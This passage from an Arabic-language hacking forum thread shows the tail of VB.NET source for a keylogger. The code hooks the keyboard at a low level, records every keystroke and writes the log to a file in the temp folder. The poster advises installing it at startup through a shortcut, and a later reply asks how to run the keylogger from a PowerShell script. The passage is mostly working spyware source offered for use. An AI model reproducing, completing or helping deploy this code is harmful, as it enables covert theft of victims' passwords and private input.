                    Dim i As Integer = 0
                    Do While (i <= num2)
                        If Me.Isdown(i) Then
                            Me.Isdown(i) = False
                            Dim str As String = (Me.AV & Me.Fix(DirectCast(i, Keys)))
                            Me.lastKey = DirectCast(i, Keys)
                            Me.Logs = (Me.Logs & str)
                            Me.Stream.Write(str)
                            If (Me.Logs.Length > Me.MaxLength) Then
                                Me.Logs = Me.Logs.Remove(0, (Me.Logs.Length - Me.MaxLength))
                                Me.Stream.Close()
                                Me.Stream.Dispose()
                                File.WriteAllText(Me.LogsPath, Me.Logs)
                                Me.Stream = File.AppendText(Me.LogsPath)
                                Me.Stream.AutoFlush = True
                            End If
                        End If
                        i += 1
                    Loop
                Loop
            Catch exception1 As Exception
                ProjectData.SetProjectError(exception1)
                Dim exception As Exception = exception1
                ProjectData.ClearProjectError()
            End Try
            Try
                Me.Stream.Close()
            Catch exception4 As Exception
                ProjectData.SetProjectError(exception4)
                Dim exception2 As Exception = exception4
                ProjectData.ClearProjectError()
            End Try
            Try
                Me.Stream.Dispose()
            Catch exception5 As Exception
                ProjectData.SetProjectError(exception5)
                Dim exception3 As Exception = exception5
                ProjectData.ClearProjectError()
            End Try
            Me.isRunning = False
        End Sub


        ' Fields
        Private HHookID As IntPtr
        Private Isdown As Boolean() = New Boolean(&H100 - 1) {}
        Public isRunning As Boolean = False
        Private KBDLLHookProcDelegate As KBDLLHookProc
        Private LastAS As String
        Private LastAV As Integer
        Private lastKey As Keys = Keys.None
        Public Logs As String = ""
        Public LogsPath As String = (Path.GetTempPath & New FileInfo(Application.ExecutablePath).Name & ".log")
        Public MaxLength As Integer = &H19000
        Private o As Object = My.Computer.Clock.LocalTime
        Private [OFF] As Boolean = False
        Private Stream As StreamWriter

        ' Nested Types
        Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer

        <StructLayout(LayoutKind.Sequential)> _
        Private Structure KBDLLHOOKSTRUCT
            Public vkCode As UInt32
            Public scanCode As UInt32
            Public flags As KBDLLHOOKSTRUCTFlags
            Public time As UInt32
            Public dwExtraInfo As UIntPtr
        End Structure

        <Flags> _
        Private Enum KBDLLHOOKSTRUCTFlags As UInt32
            ' Fields
            LLKHF_ALTDOWN = &H20
            LLKHF_EXTENDED = 1
            LLKHF_INJECTED = &H10
            LLKHF_UP = &H80
        End Enum
    End Class
End Namespace
من المستحسن استعمال Shortcut في التثبيت في بدء التشغيل
في امان الله
 
  • أعجبني
التفاعلات: NYAN CAT

annaba23

:: عضو جديد ::
20 نوفمبر 2018
19
35
annaba
0
ممكن طريقة تشغيله في ملف ps1 أي وضع كود الكيلوقر في ملف بورشل وتشغيله لم أعرف الطريقة انا أدرس البورشل لكن هناك أمور لم أفهمها
 

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك